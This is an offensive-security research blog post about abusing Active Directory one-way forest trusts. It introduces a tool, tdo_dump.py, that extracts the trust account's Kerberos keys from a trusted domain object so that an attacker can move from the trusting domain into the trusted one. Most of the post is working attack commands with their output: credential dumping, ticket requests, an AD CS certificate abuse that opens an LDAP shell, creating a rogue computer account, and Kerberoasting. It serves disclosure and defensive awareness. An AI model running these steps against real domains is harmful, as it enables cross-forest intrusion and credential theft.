Published on Tue 10 March 2026 by @lowercase_drm
TL;DR: Domain and forest trusts are a well-known research topic. Rather than revisiting all of its aspects, the present article focuses on one-way trusts: the account used for maintaining the trust between domains can be extracted with a new tool, tdo_dump.py from the trusting domain and used to authenticate on the trusted domain. Thus, trusted domain objects can be helpful in performing lateral movement across security boundaries within Windows environments.

Introduction
Microsoft defines a one-way trust as the following (emphasis ours):
A one-way trust is a unidirectional authentication path created between two domains (trust flows in one direction, and access flows in the other). This means that in a one-way trust between a trusted domain and a trusting domain, users or computers in the trusted domain can access resources in the trusting domain. However, users in the trusting domain cannot access resources in the trusted domain. Some one-way trusts can be either nontransitive or transitive, depending on the type of trust being created.
The concept is straightforward and can be summed up in a diagram:

Two Windows domains, part of two distinct forests, are bound with a one-way trust: offsec.lol trusts admin.yeah. So admin.yeah accounts can authenticate to offsec.lol, but not the other way around... allegedly.
To maintain a trust between those forests, a domain account is automatically created on the trusted forest during the trust creation. The samaccounttype of this account is TRUST_ACCOUNT and its useraccountcontrol is (by default) PASSWD_NOTREQD and INTERDOMAIN_TRUST_ACCOUNT.
$ python3 pywerview.py get-adobject -u user -p 'Password123!' -w admin.yeah -t datacenter.admin.yeah --custom-filter '(&(samaccountname=OFFSEC$))'
objectclass: top, person, organizationalPerson, user
cn: OFFSEC$
distinguishedname: CN=OFFSEC$,CN=Users,DC=admin,DC=yeah
instancetype: 4
whencreated: 2026-01-11 22:35:13+00:00
whenchanged: 2026-02-03 10:21:37+00:00
usncreated: 16458
usnchanged: 20596
name: OFFSEC$
objectguid: {50b7d6b3-3841-439a-aa50-746c4c4651ca}
useraccountcontrol: PASSWD_NOTREQD, INTERDOMAIN_TRUST_ACCOUNT
badpwdcount: 0
codepage: 0
countrycode: 0
badpasswordtime: 2026-01-20 13:42:56.589073+00:00
lastlogoff: 1601-01-01 00:00:00+00:00
lastlogon: 2026-02-03 10:21:26.502041+00:00
pwdlastset: 2026-01-19 23:33:57.368069+00:00
primarygroupid: 513
objectsid: S-1-5-21-90235910-180612443-3686036999-1105
accountexpires: 9999-12-31 23:59:59.999999+00:00
logoncount: 30
samaccountname: OFFSEC$
samaccounttype: TRUST_ACCOUNT
objectcategory: CN=Person,CN=Schema,CN=Configuration,DC=admin,DC=yeah
iscriticalsystemobject: True
dscorepropagationdata: 1601-01-01 00:00:00+00:00
lastlogontimestamp: 2026-02-02 23:48:52.505894+00:00
Obviously, the secrets for this account can be dumped by an attacker with Domain Admins privileges on the trusted domain.
$ secretsdump.py admin.yeah/Administrator:'Soleil123!'@datacenter.admin.yeah -just-dc-user 'OFFSEC$'
Impacket v0.14.0.dev0+20260114.195536.1a876e02 - Copyright Fortra, LLC and its affiliated companies
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
OFFSEC$:1105:aad3b435b51404eeaad3b435b51404ee:47465558945703bbe17c0b7a12c0627c:::
[*] Kerberos keys grabbed
OFFSEC$:aes256-cts-hmac-sha1-96:0f01b0c55e73138f5cebec57ad04a59e3ec559f78c5c39456e7f7b446d9ce960
OFFSEC$:aes128-cts-hmac-sha1-96:7235212ba424996d120c9389cb0f158d
OFFSEC$:des-cbc-md5:9d86f852f886f4e9
[*] Cleaning up...
However, on the trusting domain, no account is created. This is the expected behavior: the trusting domain does not need to verify identities on the trusted domain because it (trusted) doesn’t trust it (trusting) back. That said, the trusting domain needs to store the password of the account created on the trusted domain. Thus, it is possible for an attacker with Domain admins privileges on the trusting domain to perform lateral movement on the trusted domain. This has already been documented in at least two blogposts: a trusted domain object takeover allows attackers that control the trusting domain to gain Domain Users access on the trusted domain.

Trusted domain object
According to the documentation, the password is stored in cleartext within a LSAPR_AUTH_INFORMATION structure in a trusted domain object (TDO). It also can be stored as a raw RC4HMAC key but only if the trust relationship is set between a Windows domain and a non-Windows, RFC4120-compliant Kerberos distribution domain, which is beyond the scope of this blog post.
There are already tools capable of dumping trusted domain objects, such as mimikatz or ntdissector.

On the left side, the TDO is dumped on offsec.lol on the right side on admin.yeah. On the trusting domain side, the IN part of the TDO is empty and on the trusted side the OUT part is also empty, confirming that the trust is one-way. You can also see that the trust password history is the same as the current password: it means the trust was created less than 30 days ago.
The main problems of those tools are: they can't be used remotely, and they only display the inter-domain trust keys, not the Kerberos keys. Indeed, to actually use the account, it is the Kerberos keys of the TRUST_ACCOUNT (OFFSEC$) that are needed.
The password within the TDO on offsec.lol is the same as the password of OFFSEC$ on admin.yeah. Thus, an attacker that has compromised the trusting domain can now have valid credentials on the trusted domain. The unidirectional “direction of access” is in fact bidirectional (at least for one account).
The tool
In most blogposts about trusts, mimikatz is used to dump the trust domain object. We decided to create a python script based on impacket to implement this attack: tdo_dump.py.
To keep it simple and easy to debug, we choose to reduce the actions performed by our script: only DRSBind, DRSGetNCChanges and DRSUnbind are called. Because DRSGetNCChanges can be a complex function call so for our script we kept it simple as well. Thus, the GUID of the TDO as well as the GUID of the nTDSDSA object of the targeted domain controller must be provided to the script. The nTDSDSA object is an object that represents the replication agent of the domain controller.
Those two GUIDs can be retrieved using your favorite AD object explorer.
$ python3 pywerview.py get-adobject -u user -p 'Password123!' -w offsec.lol -t sevres.offsec.lol -a 'CN=Configuration,DC=offsec,DC=lol' --custom-filter '(&(name=NTDS Settings))' --attributes objectguid distinguishedname
distinguishedname: CN=NTDS Settings,CN=SEVRES,CN=Servers,CN=Default-First-Site-Name,CN=Sites,CN=Configuration,DC=offsec,DC=lol
objectguid: {79a82840-4173-4402-8202-77c27639f2f2}
$ python3 pywerview.py get-netdomaintrust -u user -p 'Password123!' -w offsec.lol -t sevres.offsec.lol --full-data
objectclass: top, leaf, trustedDomain
cn: admin.yeah
distinguishedname: CN=admin.yeah,CN=System,DC=offsec,DC=lol
instancetype: 4
whencreated: 2026-01-11 22:35:13+00:00
whenchanged: 2026-01-19 23:32:58+00:00
usncreated: 20508
usnchanged: 40987
showinadvancedviewonly: True
name: admin.yeah
objectguid: {d0547ff6-8f3f-462c-9f2d-11c427320691}
securityidentifier: S-1-5-21-90235910-180612443-3686036999
trustdirection: outbound
trustpartner: admin.yeah
trustposixoffset: 1073741824
trusttype: windows_active_directory
trustattributes: TRUST_ATTRIBUTE_QUARANTINED_DOMAIN, TRUST_ATTRIBUTE_CROSS_ORGANIZATION
flatname: ADMIN
objectcategory: CN=Trusted-Domain,CN=Schema,CN=Configuration,DC=offsec,DC=lol
iscriticalsystemobject: True
dscorepropagationdata: 1601-01-01 00:00:00+00:00
Once the object is retrieved, the script parses it according to Microsoft's documentation.
$ python tdo_dump.py -u Administrator -d offsec.lol -t sevres.offsec.lol --hashes 47465558945703bbe17c0b7a12c0627c --tdo-guid d0547ff6-8f3f-462c-9f2d-11c427320691 --dsa-guid 79a82840-4173-4402-8202-77c27639f2f2 --debug
[+] Calling hept_map: ('E3514235-4B06-11D1-AB04-00C04FC2DCD2', '4.0')
[x] Binding string: ncacn_ip_tcp:10.0.0.1[49668]
[+] Calling DRSBind
[x] Context handle: 00000000990879b0fd0deb42b12527b95d5ade7f
[+] Calling DRSGetNCChanges for d0547ff6-8f3f-462c-9f2d-11c427320691 on 79a82840-4173-4402-8202-77c27639f2f2
[+] Distinguishe name retrieved: CN=admin.yeah,CN=System,DC=offsec,DC=lol
[!] Cannot get trustAuthIncoming for CN=admin.yeah,CN=System,DC=offsec,DC=lol, mostly because it is a one way trust
[+] Dumping trusted domain object: offsec.lol → admin.yeah
admin.yeah:plain_password_hex:53006f006c00650069006c003100320033002100
admin.yeah:aad3b435b51404eeaad3b435b51404ee:47465558945703bbe17c0b7a12c0627c:::
[+] Salt: ADMIN.YEAHkrbtgtOFFSEC
admin.yeah:aes256-cts-hmac-sha1-96:0f01b0c55e73138f5cebec57ad04a59e3ec559f78c5c39456e7f7b446d9ce960
admin.yeah:aes128-cts-hmac-sha1-96:7235212ba424996d120c9389cb0f158d
[+] Dumping inter-realm trust keys
[+] Salt: ADMIN.YEAHkrbtgtOFFSEC.LOL
admin.yeah-Outgoing:aes256-cts-hmac-sha1-96:5b7191449bfb9dfe157958fee011b555d742bb261425d399dd9a408198ed0fa9
admin.yeah-Outgoing:aes128-cts-hmac-sha1-96:2a442fafd283d04687f4be165eb3092b
In a typical "Windows domain" case, the password within the structure is stored in cleartext, and various secrets are derived from it. To derive the Kerberos inter domain trust keys, the salt is computed with the following elements:
TRUSTED_DOMAIN_FQDN + krbtgt + TRUSTING_DOMAIN_FQDN
in our case
ADMIN.YEAHkrbtgtOFFSEC.LOL
The salt kerberos key for the TRUST_ACCOUNT is computed like this:
TRUSTED_DOMAIN_FQDN + krbtgt + TRUST_ACCOUNT_SAMACCOUNTNAME_WITHOUT_$
in our case
ADMIN.YEAHkrbtgtOFFSEC
Bear in mind that a TDO account cannot use NTLM authentication, only Kerberos. Consequently, once the attacker has the kerberos keys for the TRUST_ACCOUNT, they can authenticate to the trusted domain. In this scenario, the inter realm keys are not particularly useful because the attacker already controls the trusting domain.
The tool is now available on GitHub.
Consequences
The main consequence, as stated above, is that the compromise of the trusting forest gives an authenticated access on the trusted forest. This breaks the typical expectation that a one-way trust only allows traversing the forest security boundary in one direction. This is especially true in the typical "administration forest" use case of one-way trusts.
Most of the usual AD attacks - that require a domain account - can be performed on the trusted domain/forest using the TDO account, including, but not limited to:
- LDAP recon
$ getTGT.py admin.yeah/'OFFSEC$' -dc-ip datacenter.admin.yeah -k -no-pass -aesKey 0f01b0c55e73138f5cebec57ad04a59e3ec559f78c5c39456e7f7b446d9ce960
Impacket v0.14.0.dev0+20260116.125256.a0bc463b - Copyright Fortra, LLC and its affiliated companies
[*] Saving ticket in OFFSEC$.ccache
$ KRB5CCNAME=OFFSEC\$.ccache pywerview get-netuser -u 'OFFSEC$' -k -d admin.yeah -t admin.yeah --username administrator
objectclass: top, person, organizationalPerson, user
cn: Administrator
description: Built-in account for administering the computer/domain
distinguishedname: CN=Administrator,CN=Users,DC=admin,DC=yeah
instancetype: 4
whencreated: 2026-01-11 22:03:30+00:00
whenchanged: 2026-02-18 10:11:07+00:00
usncreated: 8196
memberof: CN=Group Policy Creator Owners,CN=Users,DC=admin,DC=yeah, CN=Domain Admins,CN=Users,DC=admin,DC=yeah,
CN=Enterprise Admins,CN=Users,DC=admin,DC=yeah, CN=Schema Admins,CN=Users,DC=admin,DC=yeah,
CN=Administrators,CN=Builtin,DC=admin,DC=yeah
usnchanged: 20845
name: Administrator
objectguid: {0118293c-3e8b-41c1-8445-178e5a575791}
useraccountcontrol: NORMAL_ACCOUNT
[...]
- AD CS
$ getST.py admin.yeah/'OFFSEC$' -dc-ip datacenter.admin.yeah -k -no-pass -aesKey 0f01b0c55e73138f5cebec57ad04a59e3ec559f78c5c39456e7f7b446d9ce960 -spn host/datacenter.admin.yeah
Impacket v0.14.0.dev0+20260116.125256.a0bc463b - Copyright Fortra, LLC and its affiliated companies
[-] CCache file is not found. Skipping...
[*] Getting TGT for user
[*] Getting ST for user
[*] Saving ticket in OFFSEC$@host_datacenter.admin.yeah@ADMIN.YEAH.ccache
$ KRB5CCNAME='OFFSEC$@host_datacenter.admin.yeah@ADMIN.YEAH.ccache' certipy req -u 'OFFSEC$'@admins.yeah -dc-host admin.yeah -k -no-pass -target datacenter.admin.yeah -ns 10.0.0.1 -dc-ip 10.0.0.2 -debug -ca 'admin-DATACENTER-CA'
Certipy v5.0.4 - by Oliver Lyak (ly4k)
[+] Domain retrieved from CCache: ADMIN.YEAH
[+] Username retrieved from CCache: OFFSEC$
[+] Nameserver: '10.0.0.1'
[+] DC IP: '10.0.0.2'
[+] DC Host: 'admin.yeah'
[+] Target IP: None
[...]
[*] Successfully requested certificate
[*] Got certificate with UPN 'OFFSEC$@admin.yeah'
[*] Certificate has no object SID
[*] Try using -sid to set the object SID or see the wiki for more details
[*] Saving certificate and private key to 'offsec.pfx'
[+] Attempting to write data to 'offsec.pfx'
[+] Data written to 'offsec.pfx'
[*] Wrote certificate and private key to 'offsec.pfx'
$ certipy auth -pfx offsec.pfx -dc-ip 10.0.0.2 -ldap-shell
Certipy v5.0.4 - by Oliver Lyak (ly4k)
[*] Certificate identities:
[*] SAN UPN: 'OFFSEC$@admin.yeah'
[*] Connecting to 'ldaps://10.0.0.2:636'
[*] Authenticated to '10.0.0.2' as: 'u:ADMIN\\OFFSEC$'
Type help for list of commands
# whoami
u:ADMIN\OFFSEC$
- Computer account creation
$ getTGT.py admin.yeah/'OFFSEC$' -dc-ip datacenter.admin.yeah -k -no-pass -aesKey 0f01b0c55e73138f5cebec57ad04a59e3ec559f78c5c39456e7f7b446d9ce960
Impacket v0.14.0.dev0+20260116.125256.a0bc463b - Copyright Fortra, LLC and its affiliated companies
[*] Saving ticket in OFFSEC$.ccache
$ KRB5CCNAME=OFFSEC\$.ccache addcomputer.py admin.yeah/'offsec$' -k -no-pass -dc-host datacenter.admin.yeah -computer-name ATTACKCOMPUTER
Impacket v0.14.0.dev0+20260116.125256.a0bc463b - Copyright Fortra, LLC and its affiliated companies
[*] Successfully added machine account ATTACKCOMPUTER$ with password vjuA8giQYjrC7wt8fo43PgCuF6ixCOw4.
- Kerberoasting
$ KRB5CCNAME=OFFSEC\$.ccache GetUserSPNs.py -k -no-pass admin.yeah/OFFSEC$ -request
Impacket v0.14.0.dev0+20260116.125256.a0bc463b - Copyright Fortra, LLC and its affiliated companies
[*] Getting machine hostname
ServicePrincipalName Name MemberOf PasswordLastSet LastLogon Delegation
-------------------------- -------------- -------- -------------------------- --------- ----------
http/datacenter.admin.yeah kerberoastable 2026-02-18 14:00:15.664654 <never>
$krb5tgs$23$*kerberoastable$ADMIN.YEAH$admin.yeah/kerberoastable*$a1c4aaa210bbd9cc06ac92606b423a47$b06da5d072ade60969d0ff215599487f735273c082c0916ae6c4281a6aa91b4013cfe7[...]
Shoutouts
tdo_dump.py is heavily based on:
- previous (private) work by @SAERXCIT.
- previous work and research by Dirk-jan Mollema.
- the impacket project and the work of all its contributors.
